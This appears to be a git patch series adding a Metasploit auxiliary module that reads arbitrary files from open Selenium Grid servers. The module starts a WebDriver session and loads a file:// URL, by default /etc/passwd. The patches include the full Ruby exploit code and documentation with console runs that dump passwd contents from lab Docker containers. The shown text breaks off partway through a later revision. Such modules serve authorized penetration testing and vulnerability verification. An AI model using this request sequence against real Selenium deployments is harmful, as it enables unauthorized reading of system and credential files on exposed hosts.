From 9d664a36f0aed380bb66dabee3bb78d89361659e Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Wed, 1 Jan 2025 11:55:35 +0900 Subject: [PATCH 1/6] Add Selenium file read auxiliary module --- .../auxiliary/gather/selenium_file_read.md | 281 ++++++++++++++++++ .../auxiliary/gather/selenium_file_read.rb | 155 ++++++++++ 2 files changed, 436 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/selenium_file_read.md create mode 100644 modules/auxiliary/gather/selenium_file_read.rb diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md new file mode 100644 index 000000000000..49df29739442 --- /dev/null +++ b/documentation/modules/auxiliary/gather/selenium_file_read.md @@ -0,0 +1,281 @@ +## Vulnerable Application + +If there is an open selenium web driver, a remote attacker can send requests to the victims browser. +In certain cases this can be used to access to the remote file system. + +The vulnerability affects: + + * all version of open Selenium Server (Grid) + +This module was successfully tested on: + + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 + * selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 + * selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-firefox:3.141.59` + +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/gather/selenium_file_read` +4. Do: `run rhost=` +5. You should get a file content + + +## Options + +### SCHEME (Required) + +This is the scheme to use. Default is `file`. + +### FILEPATH (Required) + +This is the file to read. Default is `/etc/passwd`. + +### BROWSER (Required) + +This is the browser to use. Default is `firefox`. + + +## Scenarios +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use auxiliary/gather/selenium_file_read +msf6 auxiliary(gather/selenium_file_read) > options + +Module options (auxiliary/gather/selenium_file_read): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge) + FILEPATH /etc/passwd yes File to read + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SCHEME file yes The scheme to use + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin +systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin +messagebus:x:103:104::/nonexistent:/usr/sbin/nologin +rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` + +### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb new file mode 100644 index 000000000000..0ad2ba5227a0 --- /dev/null +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'nokogiri' + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium arbitrary file read', + 'Description' => %q{ + If there is an open selenium web driver, a remote attacker can send requests to the victims browser. + In certain cases this can be used to access to the remote file system. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Stratton', # Original Metasploit module + 'Takahiro Yokoyama' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://github.com/JonStratton/selenium-node-takeover-kit' ] + ], + 'Platform' => 'misc', + 'Targets' => [ + [ + 'Native Payload', { + 'Platform' => %w[linux osx win unix], + 'Arch' => ARCH_ALL + } + ] + ], + # 'DisclosureDate' => '2020-10-??', # Not sure + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ IOC_IN_LOGS, ], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(4444), + OptString.new('SCHEME', [true, 'The scheme to use', 'file']), + OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']), + OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + if res&.code != 200 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + if res && res.get_json_document && res.get_json_document.include?('value') && + res.get_json_document['value'].include?('message') + if res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.') + elsif res.get_json_document['value']['message'].downcase.include?('selenium grid') + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') + end + end + + return Exploit::CheckCode::Unknown + end + + js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + json_data = JSON.parse(json_str) + return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + @version3 = version < Rex::Version.new('4.0.0') + + Exploit::CheckCode::Appears("Version #{version} detected") + end + + def run + case datastore['BROWSER'] + when 'firefox' + options = 'moz:firefoxOptions' + when 'chrome' + options = 'goog:chromeOptions' + when 'MicrosoftEdge' + options = 'ms:edgeOptions' + end + # Start session. driver = Selenium::WebDriver.for :remote, :url => url, :desired_capabilities => { :browserName => browser } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'ctype' => 'application/json; charset=utf-8', + 'data' => JSON.generate({ + desiredCapabilities: { browserName: datastore['BROWSER'] }, + capabilities: { + firstMatch: [ + { + browserName: datastore['BROWSER'], + "#{options}": {} + } + ] + } + }) + }) + fail_with(Failure::Unknown, 'Connection failed.') unless res + + session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] + fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + + # driver.get('file://%s' % [FILEPATH]) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"), + 'ctype' => 'application/json; charset=utf-8', + 'data' => JSON.generate({ url: "#{datastore['SCHEME']}://#{datastore['FILEPATH']}" }) + }) + fail_with(Failure::Unknown, "Failed to execute driver.get('#{datastore['SCHEME']}://#{datastore['FILEPATH']}').") unless res + + # driver.page_source + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/source"), + 'ctype' => 'application/json; charset=utf-8' + }) + fail_with(Failure::Unknown, "Failed to read file: #{datastore['FILEPATH']}.") unless res + + print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}") + + # End session + send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } + }) + end + +end From bb138e49d6f117ae54b897719bd42df8b62bdec5 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Wed, 1 Jan 2025 12:07:02 +0900 Subject: [PATCH 2/6] Lint formatting --- modules/auxiliary/gather/selenium_file_read.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index 0ad2ba5227a0..d57890a2775a 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -6,8 +6,6 @@ require 'nokogiri' class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck @@ -38,7 +36,7 @@ def initialize(info = {}) } ] ], - # 'DisclosureDate' => '2020-10-??', # Not sure + 'DisclosureDate' => '2020-10-01', # Not sure this is correct 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], From 11c1b726cf8be6b355381fb8a1a5416711f421ee Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Sat, 4 Jan 2025 11:54:31 +0900 Subject: [PATCH 3/6] Improve * add timeout option * print session info * apply suggestions (#19769) --- .../auxiliary/gather/selenium_file_read.md | 32 +++++++++--- .../auxiliary/gather/selenium_file_read.rb | 49 +++++++++++++------ 2 files changed, 58 insertions(+), 23 deletions(-) diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md index 49df29739442..d066ecfe7a11 100644 --- a/documentation/modules/auxiliary/gather/selenium_file_read.md +++ b/documentation/modules/auxiliary/gather/selenium_file_read.md @@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`. This is the browser to use. Default is `firefox`. +### TIMEOUT (required) + +This is the amount of time (in seconds) that the module will wait for the payload to be +executed. Defaults to 75 seconds. + ## Scenarios ### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 @@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read): RPORT 4444 yes The target port (TCP) SCHEME file yes The scheme to use SSL false no Negotiate SSL/TLS for outgoing connections + TIMEOUT 75 yes Timeout for exploit (seconds) VHOST no HTTP server virtual host @@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 3.141.59 detected +[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` ### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (363b104ba9d167f434518d3eb1add0c6). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Deleted session (363b104ba9d167f434518d3eb1add0c6). [*] Auxiliary module execution completed ``` ### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5). [*] Auxiliary module execution completed ``` diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index d57890a2775a..96021c92dfb0 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -52,38 +52,45 @@ def initialize(info = {}) OptString.new('SCHEME', [true, 'The scheme to use', 'file']), OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']), OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]), + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]), ] ) end def check - res = send_request_cgi({ + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) - if res&.code != 200 - res = send_request_cgi({ + if v3res&.code != 200 + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'status') }) - if res && res.get_json_document && res.get_json_document.include?('value') && - res.get_json_document['value'].include?('message') - if res.get_json_document['value']['message'] == 'Selenium Grid ready.' - return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.') - elsif res.get_json_document['value']['message'].downcase.include?('selenium grid') + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') end end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Unknown('Unexpected server reply.') end - js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } - return Exploit::CheckCode::Unknown unless js_code + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] - json_data = JSON.parse(json_str) - return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version'] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] # Extract the version 